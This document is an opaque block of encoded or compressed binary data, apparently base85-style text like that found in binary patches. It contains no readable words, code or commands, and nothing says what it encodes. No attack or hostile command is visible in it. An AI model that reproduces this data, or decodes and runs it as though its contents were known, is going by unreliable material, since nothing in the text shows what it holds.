zQbQm8Dh*-t{!z8SnuhF^KE#?bf=aYHJHx08L1lx9-FcR=T z+cQZ*eJ1snKO-Yo9PY-&E3=ilp*8jZc#6-voqLTTMR(C! zDdA5s^{b7*M!O1FeJv}?%{D{8Acxiru^9b_8%(EPy3^(Du5sjz%kq|6d`}VVf1x#n zpKJjxwus3FfiZtto9md-eiDygwD7VOUBno1tJ7&sjTFy&(-s3lP9b257_mU=T1BJB@~oPhJYf zDY5+$ziJUrSA#YCMr8SI96}gUPJVH?(qKRwGV&c66h%J>uQE6&wcnlUI=ej}aB++e z;t4NR+D<9nw(Re8AYGM5lUl^{VvFX<@A2tQ3H{JC^dTp<8 zuFV5a%Wk;&8L50MXG>qh0KLiX{7kE-I%o)MUVkNUgQ1aN`#E&z6J6w#HyiOe<^#y! zK~=;$!mm{p)tO6iVBlML-KgUu#QA*pwI#N#Xhk!(XI~aQnl&ttC|7> zwW+I(NXZ2R{|2zJqZL*EVgR{D8jNhiH~GD@`{-OrMa3*PA+1v%ne1u85YYe8wh~t& z-K&`tP>*ST8=G$%$_W!BP`Aurgaci#TxRn-yIDW-tg50x$M{ZJXrSaS<7hWrbP+8F zgwXGHa#IxXh%o8~YMk=c@0zLY$^RvyapJ`$j4m00IuJ;AC+pZx=-Z#~^v1Jpvs@HDe zvkXC+-v5tPe;_q%Z}OHzSSKY)Ho!46+3-G61wOpjLz-!|RvG@*AiuCT!2@_v-iw@P zRJj=B-sBD-&KAR}JlfA34qy6UDB~sPFbd-UUi`JhDn$OqL<0+4E)s>HH}9t8)DUQ8 zh1qQAHQbsGo#7wX-5*B)Jzr|APp;oAH#9<4LX_+V{`b@_L1joCyyISapr}Ul6iAQK zSp`xl4LZmo%Ru!^WF$cASPcnq)g8qitw&wJbGCFl!5UpvS93{Q1Qo4~d4QmZ4)1aq zL9o~_2)((MqJur<))vv@iQN(ZfgzLw;jR$} zF&gvOs#Z&-fh%*P7_6O}ZxS!KzQHChY8kB6iCZm2^YGXAc9LPVl_=l}NH7Y$q1C#BmD@18fp3AC5Aq{WG;_wCX zB*-u$D!d0FALI-4(8Fp40DiO;L} z$QmFcUo%9qdB+#jFs}{8OvGuqaW2|Ya57-JxMks3wAzy+4uSodc!5*lJE#l#P60Mn zw*F@5$Z|-f^Ptni_b7ESrajyM<#zMXGcbW+TPw1z5^DsRt;2!l00094*!VLjiyV7b ziADeY;an>ouaEKrf@V^uEJRn-=PK?7sIC{4xN#ScnDTlkN5@?0$ZAz=*8BX7J;}`< z&X=OKU|_{1B%6$!Q!a=C6!i(Znb**-{J?wlR@FZtbcEH8d11u4PF0SI&juS8%nyPM zYp(H)`*>Rrq(J2MBPsga>l2@t@AT( zXM3(Y5H(k%Hk<6}^4ieQg5M_wLW<-8LuhjZIgb@6S=tY|CwXlFlq^_b2(|dZ3zZ%_ ztkO`5uH*lJbnd+XKWK>GF}RvnSgo9#>$+fNwNHU}g_dC?;0glb1d}}zBt}jtzqr1} z7m`wPsL9Gdl1uuZ;sp)z*&Pz&On`Uemv;kPdI7{zXRaYBfAQwLS6_66ugUV@IHtDX zLiWHfRTB|M;r2#N{h4 zs%Q4$w5)D-XkTbOjRH;TBY?KKa>&gbWJte|r>n3Yu~a2wCZx}*!QBb%ivW$KfDyJb zZ6jeNL{|05rE84pVm^@!PKs^8Z#o7M2+!2mhYf=@cJ7U15?rM&=6YL*T0E1oMEkfEOg*MqIKgb0oLGJ^GF=^stX*X4=j+a@%+O%vIU7B7Q*(9cMFeMO3cfNPUmL4)PBue1HDD zANqrTi8H`4CbBXlXrf0uJ|jbl$6qrI6~KWZ&Kq2f^7dW#m~j=^cy}IGv=$72A*Ysy zaECYMcnu98K1Ck0Sf)-tflSR^?24X-lfMP_7NTx2QU-bBm^z%+L65;F!_BNa;xqqm zX9x8%Z50HgMBle`Y1eHxwI1;Sswv;eg zZf(cP?J1)eI=me^m0z-os$b6FN2x&6Q~Vzl#MWrCl#ai9YG~5Eby}JufVCVA0ivT; z8+x)IJje8FQEU70@*e)!G{lg)*#L4{vne3kjh_jIzR^uk-JcC1N>4mXb6JycCx6U; zDT-?@BUDK3f)Z~a4lM>!p>?CZ;Z%Vc-tlBZ}zL-@-4Ja1n9KxHmMI!9gvJgcGp0a9bkaOyNB@N zgKF>6pIiu>z@Y`^5hbFLf%K5dVI8U0VSxYu!%}4cKgftdZ>=Wn*j{q2>b?#ZXXFeW zVTZkHRj>(05#^$FH)f2$zGrB{yE~V>FZZeABq0#qKjG zuw4fZ16g_16q)qW#`e*Yh)bcLDfll>wVUm@%A8O#QUxYp0iG%sR=d8Q!_>8<#<^Z5 z)zxI&`wJ5~nRYgiJV;%BB4Xo+i2*B=ButMUoLYO_zJ`L$4-7P5{+6Etw+;4| zmmaU5A}9LV857G(eF^C19rjIl45oOEInnQhaiv+)-@jETf;EIg*}Ag+eg&Uq6XdAQ zpjL3CS8m^!d|cB5b(I*iU!qk~_;@2&S@DPQIS9~G30=o^98G4Lpsmt0nl5NMSQZ^H z-2^@`h86?$U3$`gnRMkfPG$sWdRrQl&MD|aiZC67*wndG#|RE|xDP%6Y-<7@>A!sx zTs1XB4&)*Zl{W8in0f!q5J~{3?Qt@=y#!G^Me|Qs08w9!)jz~f+9F!%i5y8!HAl6Q zx(jjA_h<&PO`^(isbfq{76Cb+-Ut>YAo8-;m=#z8k?c@ZFg*5YkY`83Na0wmn<4z7 zK{O5tzVs8sGHvUb++#hWFijL2Purb2`Xiw4%d-gwPTqBa@reaDdcE?<)2?|CpBq02 z?U9-hgG6vn!g;d;^66}t^qWo{_sz6F100(cfkH(AtxKRFq9FtuXWl1>K)h94tp^L9 zKbpI2eiV$kn0q-M7zuRKC&=02Q=_mg&OVF&oFlewAZ<|i)^Tr({eSq~)H9xj$_OVj z-%MxnQ`}v|@SZ3ioe+IRcpT9a(W|MSP+^CWm~VTS(%t0>nQU@Pf<`KII%VHl~n)cAs5H-SA+m+Jz+W@HSX&5SAU1dIG2u-*Y`; z{KxAjM#d-oX)@X|+8$eNm;>L^c+h)n(nzLUx}%4(-9kyA)~`SHiyNnYTd5pE z(ijp@`_v*_U%=DkSetXlmmC>4c0deh^sYQf`bQ1PCo4qW1YH}!W)1Sxex6@85MTw^ zRKI`pW=xf(EbIEyC)pd<`-dB)cE~*R#5GAKnj|3?m@JD|JnkE~%jEmQ3UTrPy-w74FFytV@*uZ2 zyMAYplzfrYkZjxW7>4?;=M@dm;t2N}_l{1DH>rwigV(HK`gTLH_}vjm)kE}s<#x`R z5D*VP5O~ceZ2ovW?QZo_$~k+P?zm6+=FpY&?N=s8I7$LY5?+}^GqFsz2~JsH8rL7( zZE89}_8lVOmzZk1^nT@5M&_D7Hlsa6N)7eXGJJ_YWvmJJyTRj~=f2?S!&g}@uA2tq zbHy2Yu+8vtl9Tn^l&h<6bdSXp_mmeP2S@Jc;XmB?p0@hLL%Zv0iKyz-WRe>fCi>qa z=`(eEBx`t7O@F%yCXPu1ih8MWRD2aDXO&Pqi#XKW7_leU?G{u!=LP>z8HPx?VSm$u zi3I=vG(gM0(3q}d4hwlg(&;Vm`7k^95Y(~A*oWp(n6pQ#`!it>{WCpJjzuMVMpph%T(sZdSmyJFE_q&(DwQ|8 zgv~9L61?652WF)s#EopDlUqq<7%cpN2OJ9v4h?5;AF=>8RuGOqzsbs?H!ko$oxDQ$ z0c97-jv@l6`)k&#melTY6s3fGZZ1~=7r3Ip;JEjR|Mmp&(mSHg3&!be==Hj5zQil_rhoMbzKHu%HolF>uNnk9gh zZU!=v#&k%y{T=qMBr3Zd8L=dm2Q*XJH{>F!CI5n@1)QeyewHiIm6FrH^~@<=(Twd} z_^I&&czx(hs{0NTX!siIOJNFh))Cz_nGY3kiJWjLVf;;!z5%{An$ zkJ;S;bp&tbrZKFdlOMkFWggWZbaNvgDajgztH3aI5|Ft($U`qTh1p-B+ri%IwMpIE zgO<;r{Q(Dht`NKcipO%=w$PKt1cEzTmV39lH-`jJXntX6WUg#B0i%SmB&^{#e==E&kqVCpsdwOig?=L0byKVU zL~F=O865=9H$pK7nP1f@!cHAXhqZy?0<5XItPx>6q5FxJL4ajQu$95TC)a-0ycMv- zXYqzyAjZcOFc7kWZi&c#1P7%N7Qj-1J$M}-UGs&5m7C=@n*Reb9~c~Y#DA>6&c%tz z8)DZiL=QNPW|!)-VmKAG5vdU|yi zSuH*CsqqnwJF8RckI+Z5scBievBbST2{cd1!LO#by(j+aIWF4cd!TQcjdr;3BD;Vz zx7J(tyL^Ko6IwsN(>saMGLWU-LU6|-1T*#U{j}1;L?@?^4r*FhcHYXF^26Son)e2r zj_!}AMb(2SuG&c^*B*WN>3>T$TC!;5{4fW7>BUTX#S@G5i3y)Qw2323eUWH=G@nzC zT2pT~ySuR^+6D4;EW6h#;NM6$sY?Y@zy%b<2kWPW!{_X%>Q_R1{YdV&i$;GZ3kUI4 zH58hB6dc+8{@}((UC_Yld*XWVmzGlG{%~nz^lmGAsgq zPUk*ML^8Je-)BmnYD**bl{{sHU4-}q{I{-YGwx>aSF|N@;-I>6euCgVl+f-^L$irt z+kD_Si=Rx9t0nAQUS|@mg%OurN8BE~`7kDm+I_Z377oj~g;Lam0wb)jtvDw@h6urt zTv&Q!?>J-3h0Q@A$szNGiMrE}b>$)Tb;oSU5A$;7Sb7Spz28UC=_vmbf?DAKGnM7L zIsaUd92{Y6*ct%mF=!T8v2X_+sLsbFLy}CglzA3$*%o3seYkK708Mqie{VF=38DB* zJ|B4P_qMj)>luNMkhxTI@8HUmD*fL*CwXJ2oRCVQX;0h6mX(^?xxa^j73U3Mk-QBp2ALTiz#EE#JUh=NY?Hut>ja&;?atD~gcV={}^XYdi$M%8TAipn+a4)C* z5762$z3I`-O{?ClD8Q72ODV3xv6GPf4~8jhc@~sHXZ%J(wfujXfP@2Z12$;!iyW`5 z=6t1pim=|dJQ5hNeAt3`T-!;E@*dLx`HLN>NdNeZol%Q zYNO)D?$lEqWIMTplN$MMTQd}6rfn5BIT^cvz=L)JO28hFmQ^Sw05k}S^;{G*X`rwA;BUr(hnYtnlxW&<=g*DS zHqM;!|MA~9jU#*^+xo#67ycLqX3%uS%t7Zj$8|?S;q09y>?T}T{M_#`$cI|E+yjzWmW)fsJK5)8M4jUoH zc^SP)aVF8nEc#0^$8SPn^h=Es^YxK8MU?pxgwoXhpZE*V_vW11d?n@RF}4R1M-!`r z)}wyR4K3BgDFtV(QJDGsKJUiPJ8`9-X@3c{87t8MIXS4>jd+UBY(}S_bfQtEwm;Ti zKsN`VK+hk&uJ*OslwCLWJj0Yd@{v=M2s*xQYA*FDii<<{F+}cPvy)dVop-4)nxZBl z11GX3|2@ctKaECC_=zcd^^bGK2is6$q-Z=RVX_tjL}&-LOwO=w8y> z&%rmJh>epieh;0W+0}A*wXAf0&2>X){>;U*S3$cj{*GrjSAB*@EU82)$H1xp?e+Gj z_?e`P%nPs1+GoMrASZQ#rOP~RUafMaK=bG{QNxdLM0+7TIPG6@nP)?4WJ7K(;Tmgl ze^dE5Z}S&0LzXEW`4z%)X>8s`n%AfNs_#y>V;}i@kKq*8e}-1MiLzF4a5F8`3&Lme z5AQ9%vT5$6X))$~120$kZfg-`165aH*PH0f1woA7ghFo)LmW6-urv+hN*<-ogX7T8 ziI_%fF6PXCDjXT1-EP_<)$=jD2gIuFh_{gAC}ljqSeCKcP6T* zPYFi9WeQOP5I3_J*!#qRZXGw#xcb6nHmTgfKJ+&*b_+`*dSBc9YAiBqaO7cABPTY?5d{8 z%7?usM&P`Oa@fmT(vi?40v^4k<3F@x0*;Y;t{c*quVj!=g`jS!Hy(WI)9fb&dE8cT zS`+PTlNRkL%(f9N*M9L`LYG|<@Qw{Oi38)j=n>q71Xt;(eXOQ>jR#f1dl7$~i-96c zX1$`iyR2tu1{p)+QO7!jUZMEcC@F|^UtwG>oaJVK{M9GvN{&YuNzP%@1zhLfr8F%7 zk_f^u@TH2nZw&w;-D%Jfi{Q935p+#4NWm_-beTPjm8HVIUkqe1JCS!;hcNR(2|z3m zn~@AH0Z;~}q*n+FMqPIplug_=mr})f$q|MAD%MC=QH=!E>>Lmi$V}?YITS7U27C>pgvVS6t<-lf|kHZ@RYpQuKJ|9o$Gt zC?mj89IK-jpwnF3R>&ulj2ev`xDoUX&ZrLROW!poSaW18a!5-k-`fKSuUp%L_nOmw zBBUoH)ZpuAmq!b(7I6ZI+>w(PcHr3S^B8#Wb0IX+2G&VJUCAjdD-(6n_DM|`K@W#w zp+Yn)mqGvXl3L#D@wn`eKeXseKWQy!oC?XfAT-&Cqe3^RgSeEW{eeWjcw5m)X75U@ zv|w5K zMa@Mo7QqiA`=q;rf>0AL27<&&PJ{}$b31uv3c*$t>t-m`vL3#e&NBfL0HkP4(Y&?%rYGwl`F!~PV}V} zyoS!i&Q~0Vg7by7Q?r0VA`c`F)5W6Uj|p17u{82%%+X&s+%)0D`V@sdW+orDdAe=d z;ezf?Rh^)71*;7yZMUAQ2t?F@pY|Qnh|K>OV3Ks#8uANB*~d8TD)}AF)MgSNWipq=r}raKcZ0hG=X?UGk`@>N8!jGa zARqb9MY)+by9$6gWT?L9fRpy2#+68*lov3k=?E@=1!J>!sj4{sZr!LS;$xC_;K_rY z;IfSk2n@op7a$*K!{^tFEsD(Rc(MHBr(n93QBzkMT7AAStL@CL_1dzgKh^*XVHZ97 zUz`oTfE^n43H>1@hJQe97y+#@=(BtIa-@l}m)%RX1Vjcx`^$d2*%&0++*v0w(|Pa4 zIKXSL^?and2Rfen&5WoG=PKoU(DEgr9|lem#htdES-@l%^F(_K9iUXpETJjUjzYPp zv%}Yq!JP{g4$nc}F>sf$NIIh>%O?JG9M;8wYjZ4pYF|lMi0Tx*x}%jhyVc|ElZhaE zbt>USHDjos3>!bkJJ~Mr84x{yN+$K6BI~>|kIG8IhspR(v}j>HG{_na92{_fy*f@O zG1g>#sfrgClKo`5jmcX*T!*%#XwNQGQYe~TJf_ctgIEZEW8ZYbg2}mPuhl?e^LX!E z4^?fEB@RuC1$Fpdz8CO!Y8vx#GbPCxcl>M!nZnXpQEog|gn|v!oRJ0+)Z1{Z38Rxq zxrL*pr0|j)!+$)ukoHfmEgKZuj`ikL@}LiIA^3B8#GZEKpAEVb$3=hLIVP?|;>N)6 zd~sm`Qv)~&(MJ5Hjp`%6{&0Y5wgTkJ@5vfKfn-~gq*u;q$DL5|;i z44*4)gbvh$kxJC!@myP0xrk<`J-DKDiAnI75gaUv@uyL81z`^kC0-~D%w4r}E5muC ze&XsHfpwSd-GaHz_wCE#k9wA%uq%?q#ua2Kr|hCHwa=~jzjDS5Xd}v^s}bO}WGbRs zNXa2(o?t1EQx>8XK7?5uJvgv?2o<|719Gs3fAt;IyZFd53x^!7033O&Kwfw=NNznf z*wINQ(m8L<-g-7af8l;y`LMo}xL`fTXC`Sn@O=4flf$x)Y=8o(81|Vxwd+@;lOxU9 zSsOp!^uTQBV37@61rJl`L)h&>sHpwv?h7mOfB#XDHB1yv_O1DJ4NsMj21)S^XK%hE ztz6e2Fi2y5F=;(gkeGj)bQ&~p+3b6!Yf`GAKgXUxpwxXHaW1IpT-s4IXDfBc!Z#Bt z)51ZkNi`inJkd5mHxs{Ed~=1V|Nf<=6Xn#>&bmi1L1G*2Fj4atHW|RekKV)dxD^r) z+!lSr@s@m^b;_lhi^Bq@xusa0y;%GHksm1fFZK=v%x-AbqI*}u7;Yc!-PaJz5wP^_ zd&d1*6V@c}>?&!v02D`0#aKKVXo!7EKEY>RTUr#tG+Uh<_RG;DGPo|=04W0Ub8VGh zJs`0GA$6Q%{q-xi#9V;`1BF0%&;}9;wd-E!T30(W3l@?qoj2@0`Dh`L5GR(Kf82onfMj)r|sfmNwM z<{FM`HKEHPe74!?Q@n~eGDxnp{6umZWZ8)vQMc14%Cw1fF2bP??e@d>up_-Uc<1SO zPnI$am5pjlpcg5etE!w?q~uBkSD#P1yf5n<^jaI`#P6#VZl#%^3^d15u9?@Hl-Dpj z^ksf4`&@van%}D{zvs&h;&O`oS<5JNkAx0ItMOn6g9!US#_Y&87b!F+?9CO4ThSmS ztI0U=50^|(Ek_MxrNH{5Nqp(#)r@z@z3T)$B>Dm3QnDi`uEG=J%;6UvSTW|C-VK&L zAYnt01HSL)Ujt}khn)L7rj9;ezbOaWsUhrLWBBGRF zek8fIq5q_2`Yr9pT_z_H^*~5!-7?2WRQx;BT93Ka)rpX`YEUmn=bH?ynqO~?-xrq8 zr;^OL+ceFIzB=z?;O#SMh|EPBuC6oR(UkD8pW1hNNp%Ph=+HL)q11vpDDE$uME3ro79fgCU*OEG?Ji{5@&5#m&-3W2yC8dtDO(8&2LE)pa&|ouGJ?uvD0@%^?ssMslgyRUsYB3# zoeYS?LN%I~Td#tO$Ha#T?`7j0A2bI#H(rqP%yrX^;&_X@@FXq3T2olEMJERSL7G&J zU6bjBn56mvYigKrPa3($(SXaM>P_WVoXYT|fZ1P+^cf8=IL%kyk{N(C)I^CLq!YWE z(0%pB0<*AVlP>d>K+zFZip(lbOSpBi_wuV++NEJA&o&hsjGr=Q%z61)dt2?y1RGVK zi>>T<|AK|9C!dbR>*K&QHmj!*678f%H2B4BC*w$1=I1oKwtz7(4usUM27#_e;JH47 z7j3b`D>#4{nNipkKpf(u)aSlKSNeJOCQ{A4q%cfb&>W~w3v$Umh#KbX#tsXS*7cW6 ztRHvva1W~J+c=ixAh;~AcklP{PpcGerJ0}%H9Y8H`Fn;pJ;hr6MH;GW+hDJ8D}%7A z6dzxscz!gi`soN+uNHo)0$>bJEu#{iQIup6#Wd5O;Qts*pA!TK>NEBXyEP#`_pOAV zhj*ks=jY8T#&X{~dGZ!E> zL%fQF*{w1f>k}%m7nL_oX0?r6CUMIC6l`2`gM`FcEyBE~Tl7}Hvhg%|LHv?bmnY0sN_046Gr;rQU; z2eJnZwCB#G8-h15__`NbuXD7T2p;Oql#anMCbidlQB5@omI#pBwk<|t=0WraB&c~_fL7dLPWsbzWy zHNy>SzILaOtG^JWAsSJgMTP*;S9Py_J%B4Vmxc=U-dCf)<&2p8)hl>Lwl$OabjSse zpu$1xj(Y9Iu(m!SvsD@L#gEj&q{-9ky^eg7UFQ!MB&x7++6_beh{$QOK8}1BA=T!G zyS}W4Aufs zq(b9r)H}9Z>PZ6|!mLG53yJv(R4ZgLTc|eO!*x+#f&vK7Z;7|7NYfI}!;*oOpM!3t z>5hJ4b=ok*^O{0@-HWv7%}3Y5A$5i&C4e-QT)0{>;*DRTp}QIk!LRkC_g~~~u9haI z&LPT`XFa(Mu*toq{p>ctmn9o}1HB8hX56EW+aiR501y#S4#q>B@((PQ(xa>#S|tYp zCZv7Iz&KkOuwp(Xh}D3m>!AmBW88ba)Sz*%GNSebst=6nn~CpUG!^MxB=uc;qA)qh zuMU8R_*wJ$4<-tMk%+G|1L2YYl95!qsyoKc8)SbOijoVpLT5zk@v{GVT}mXwNX}^8 zAGCp=BX}-oM?7huKaboBvpu?@bq;o$Gc{K9Kik(yY*!SO&LYMqAuLAIXE}5M?E~Wa zZSiKrMW+g-*|d2a?X#yvJw_Vx>hu6E*Dr2{6)1cC7$qSQ*vQ!r-Jc4h+My?~k5{p+ zTQiENk^E+PCm#k;(==;^_s2X~BDu=wg(Co~5fP9}RtBH+u^5hE`8G`~w+r>~0|6)| zrJ3lpQ&K}4Wl4Ssv_*!mOJ6dRyd#cfurO@2@=1l%*z5lK-$F^6=13ic;tVsAKqvi= z@|ixidMdQFs)B3@lg%#M{T(k+rrf3A7Pv1Jg_Ijz!}sFYzT~3qQxmJ0AkWoM@SClM z6O|)40(}-$ZO0`{ghB~nxo0mIUy&rB>Rei)BVl){q4bMLlN2D0V&{mnnwQoh3=~o= z%(QRGdZ1MYNkbkg3fP=2ihDKY&XHJJ@y8e*_=>39tv`=+RR^PG6& zfU_1+HP18E9e9<d^tDw=t?V*b7HDo@P@ zx=NjHK8MIInb?#mBH#Uk=r)-*6FBDzRcr#$?AGZnd%gWe39^L3>#-&^kwdQIQ%==2 z$4#!6?*<}sc1;Y(Qgx<~AS0aE;SdQ2*Jq%z%8T1t;)4CB{ltKjs}9`eEIg3T33{Dqj znCOme*vGV0RJ;_M>OJTNLfD`*60M7OPwI!CGq!meHo-`NZW_!VAT!#zQk)u2GRqy} z!SRRrQh2bKcb9Ki9F%B4<0y_{F%mifIGkL=dHT-0x@B(lJ513LZl`ZTj~t|;~^r;a5Fi}(#*N5 z)ipz&^MML2MQF*|ikhdA`%46cL#=mZBaU~dcwP!$0(mGY(a#dl40e}1D`q|G^&>%U zeQ%M9$=$g^nfq4t9D!S84By1}WF$nsKFJ~h9NvnRTVTl8b7OJ5YUSl(;OX6wvyJ+N z=WbC>T3aXhW+=9;XUpErrTRjfetRN?kH5Ds?X3(}-pwmOk*noj)^_WUvWeWGB z$1oym#myc2BqO9T)|s9(&Ti?RY>dj0{6FBDaX8(f*kYWN!mM?_6)lxN7FaHVR-vbT z)s=bCRb0j&DUQsDr{3u8U-;Sc-o_NvEZ7#+THti@yV2ttWDirv&G+3rc~p&J>-VPq zX)kOtfkj;GXB%iQ2O+Vc9A|jUvQzsGIOY{+W4b@hHjw%NU}|IM#z!+KY-@1>cN}$x z&fabUAa`{yH4yAgXaE2I|E4KxY=m$lCAT>mox#Q6=}iEC`I9eh8k)8NzhwWGrZ9DC z5veA$!iw{1Qob?qFkoH~eDv&+x@iVgLWj5~!n;7wDQexQ|nL|A%#^OHK zIzqLQPh#5+3`aiD7R|GrXmpq3mg=np$gK6X6+*zxu#%syb3tM6;Mtj#J(O!de>op8DpUgPqRBHka~t?!<~Dc zaop3(Pb(M0GX4J@g|T1Rp?TnSA_|uk^v71JeUiM+1uHLG4C~e6S05ZSL;u!J#<*y${W%odbKDv?GR zJ6bjfPt;PvbssF-HHNSf)e5C=1(=$5zu3YA?M#3ZR}>%?JZXJpkY#s_SHeW!oqt+g zu4;OW0&UgO%3!#ZpOeF{tqhcx+1|u}u!4NjlpgC-xlV&62dqA%AgLtyVG3=5%n<|Sr!CN;6P@_606 z`t!$oq3`6dwbbkOxeVrGY=6uj3jI_N5?BRXK#~sY5>3fTnlb#^9wiIS&wetTIy@iR zQNA%2u-D{Xi*Gw2WbI3wa1t-%h6v9yF9VJmd41aoOahJ`^I-ufJoW?4TXg@S;^UHo zp5%otCxR=?tQUt$O;8b0*j-M?oE{Sl!xIn<=^1LQPC{##Xmv>Y2~+?1J*xCqy_Xy% zQ5(7|TjbuAf?yXTCM~`{Qs_1XK2RjeOq6yzCNvvf~uL zZX3=%4bo2uma?6G`Z2E=(7g)>&hd44TWR1krWANOe#bH0v4R>CfdyL0FSFBjOPfHK zMnLt5hi9{*Hck_~rVCQ8QsX0a7t3Q`W%M0LCqds$JQ+eWQ2B*yGonFdi>Lm);X9 zy4C$?=MZ@EL)>l9q=j$pvsVm=YO`i@Qt3iBu%uDqg+$lRNUtC9iX%@vyxcuNAKXht#m**e*P0@3zyw0mP+B|c6b}HX)LEO=Y7*pJ~G^r)Wz%D+YD1xZ>d@= zeJSo@Z}~HPFkHMiBvl671KM9MIkhH2BmQ0d%jztDXHH4c$Qk!ABuGj3!`~|ZC_g_L zU?W03f)SLb;ciuPEP`4FSFe3^lYw@uR^HUOq-P)qzf$SD)KV$tfC9NhmOv#IfS9Cq zVm1~s!`?WNAvzoL{~l6Yb15X-iwk^5Ei5<#v+$z$h=|!iZ)qlnW7*Sd~&QQs2tdE9o`!H)~J7Jzbe^CGm1p8;E^m{mAk z`N7ajfRV+ltL7!>R>=cxSZWro2#@XjnL+NU{u%M*a@;+Jf(A12tp3pB?gZ6B5?6Y^ zyy~^5y6*OQWa-9{hl=YAb!hO(UU`>)o??{zHyaai*h0U+v2a{wTxPuYIXS5V|Nho9 zL!b!jhrjklI-pHne5e0>ke^FkHGI~jh)yz$2$j^D%k{+qNI|fWbi3;7E7TA%pnbb0 zs^Tx4;v`sN%`>BQN+1c5vs#U=>ncj4nZ6kBLg*@>n;2NB%$xWWqo!94bPX3~5RD#BIE~>?gCX|$7cF~@p z_}&_Cfjm-3#eHS_( zJrDtuhBHukR4ZA=8wSI!IgNbWB&7RYKo@#fU0iyE+h~N8VYV`LQh48ChlWXLlKLI; zmkCB1q`kN;&_JQLdy)qYsq4`^*bU@t@i`>IOV9ZGZr!YlG5d4r+`vY`d3Ed`{0|A5 z6i-?d+Z4L1$}P|;%YCS&Q;vh{ch7kxwez-H>K*lA$|_=u&OeL>yub$CD!!AKoaWBh zzFLYEH{~wK<9AWEy}`PlfL$JOw2n&k;970)^)M6??^jNx$SV)A1t*XrmIaMyL=o_S ztIlC4el&J6gmG~)`*Ys%%>?uv7fb0*K$>J`shpG!70wo0JX6e$%xJIVnju-qvI?M~ z_OYK^Av>Pq&?xWp2(w{kP<*QQOdk{iGx^8h_awVp#y2eYaTk<_)~?4h166n!CY@KC3OgN8^qMB3B3yzoU#d z?DFSi`__RxL#G!_5)3kaAcMa~>T3y*(Jhk?PGFNo;GfHk>qz&M;>2>pPz=wd5wy*I zSU>r#Gg&!4vV&svO86TwwZ2Scw=E?;37OSiqKQHH@&LL)mc65TSYE+T&Lq8PdF3ye zOBX~graWyv(hQ*(RgY*Iof60nL?tpRISPTsokWq#bbakCt0|=8mT*CCrcOa23HAfJ z*8q}!lV)R#7LKoH-cL>i zs<*3=CISsHKT8u;<9&;~gy5s3T9DnaB-FJV-y+?FrD^`qVpF*5fZp^*)1@GHVSN|A4Gw~Ig$rL)ZiVtNRN$(F+-3CMaV=5^O%^GiYTg{V?6 zLvC7Y=e)J2`o7%@Uj5VS#8wGLEaiwxPw%jkX9e}OyoTWNmz2SIv_HvNJ;Kpt>9|_l zn5BOV%iv%VoV=EX8lRHHBHW_{o@&z90<5T<4)H@<-BUbhJ&wiG;>K4e>}v$$zU&R`jY11#2%Fe{HSldWG2^)Jq@R11 z`_RGs>yNy7aL={%*K5IxO0pI@JH2inhr8`T&T<;Wrch2LT%C=Nh$q}a@L_ct8Udv# z%@&{x)U&-muC!^8Ad13I&t}S7d;4~-zyBD-BvN%NQo}J&9+s%VsCT+?i<%I8Q$(;= z4)I^$1XK)=sOS_!5%i#9ogGtzm#A{jSOIuv@lWlg%A0^u(V9{7;LSbSS8ao`iT=up zIFd7fbbk`0dhl0wj3~|FE5f&}BQ%mZe5(pWr>GtOzKfxYc+qp#a zuPnK!HHXxkC=hnP%l6uj(L(h}R(dg^#cWAQ?rGQc7jYJ34t$pVIaQr#EQtt}Jls!7 z+dkRtWchrf#8@jl%Iu=!l8tv?|Lt>K^8GuR6IY z+?a5pN*=S9(qq}81z^anOy~R%viVfSi81*C#L$5CUU8;AQPU4uso_MaC1gMYF-A90 z`a@IScW(T8<_#b%HSW_m%Y<_&+ZLTOCdvtJ5G`uxg_;8ldf;{rKc&D`D~cG8|3UU$ zg&a4{376~ov4CP-VVJ-$`@5VGKk+*o0oQwB(vZs@Y-@ME$BuNqQvBrMUCF+U+pDKr zH5jGFlu8#)v17}b`Jk*!Fil2Nj7;SJ^_4luqnL9%c3!m!n>tdZ#{n?BR%jI8G|w~W z9g^r+Gu)910@4~?rqiF*o^aahdN@kK=X@|aHs7ZVW)8?>8&Cri zEHoS3a)&5x!FWq-cI=K}q@of+Cb@=0YDAb9!`2P8<`2ewHP`3QqS&|9Kwv-E)uQW^EYPqiX+ue9xxA||3~Gmj9cHTkPM*HD&^ACP zE;7`arqkWqR{SRaY!)k{wWQh_&6#ZsYQGQC8NGfTRx>E}uTrSmi&M!Guq>)SfB4yz zP26tz9d7C)(@F_|ZcTwQU_n*hF}Oo^EuHiA>3->&&VBv<*fD`-^t_3u5uZpc^f*BS zQ$>cN-Sl4#M+c&WB9Y(o7PCy=yNL{@kHC8c4jx?n7-uJ?z%!Epd+L54b49`W*u#Wb*shfNv%+WgUAJVCvy&MBa38^ zv_*ux>r}gJNsVPZkm#v!V9@?h=O|aFbR~{xyM2+-3F{j7QhcBuX>7j3g^ybH-d%3i|5k2Vm9~(&|LXMBQf1(s z7YK$cD)<165Dkz*;By*)uhPl)N_lG+UuoqzUORz%7|JN${Y->QuH!yOU6PLH@YH+U zcKXZkqPDjOg<1~2hk4H08}FHT%A2$K65L?`2L(GD??hipKDOLvR2hz|q#$)&((`On zMlF_)Vi9W)TX4gR=$_E3Soaw#vuN}{u%_?X>?!6nK4}c@p+9y2=MU!5r|o!D=B~zG z6xGu|`N9ah=6=@?d`;uAT__bxegp(fxWlN&6uhEVph^W?L{hYcR-7HxmooxEl{lJT#)O6#k*Hq%pK@oiw(NchhE%CW zuM4W27&f&4i5&aq8@&Klt=ubShP_zUl2ms5iYH*f>?DV|aM#RYC%5F)UR<>`FjspY z^@HR@m48(a5)#U7nAa|zfuG=roCNAq^<%!&+;B8s5@dCyn~(`u;i=utV&-3J zeTKjz>t1mi5h&2dSDen*k}6WQyA#@Tlu^I>nG2rP#iowCB^}SGW0*d5xvD~d^0wYTjZ%Wz zXoD+2icNq&vP?(kpP{irl-40Hrhv}@20xI8UzJup)|R1QwefJw-qn>kuuFbOLkM|NV{Lwy7_@VP`&o^yZa3TvUg=>-jbbKHR6$^U0-0G3$jF%0ZF7XPh`#Q2W5B{3L_?fcCG4n^*5#S zaj~nTp*mb03L(5}=h^fldD@@h__cM(hv|32WOoQ%VjtX#6~Jin4E90e)(CsnwE1rx z!EL=K8e0cedDMY$;)O4izQ>|YYMQD7mJVs1Zm#5EKkNZm_s;^ z2J~7zs%8Y*uzHJvX63vQ}j`SzQp9w3F4&`BaPTGBJMJc z%SSaS4fIKHC%h-eTO^|jWI49&MP-(cA_c9Ju&=AT!q?9!^S{ViUbWL%>DCpPZl7eO z&s6poFe9IX#%djz6ie(7iPU05|MiTPq0)WH_Yk&nXtjwEZH0GW 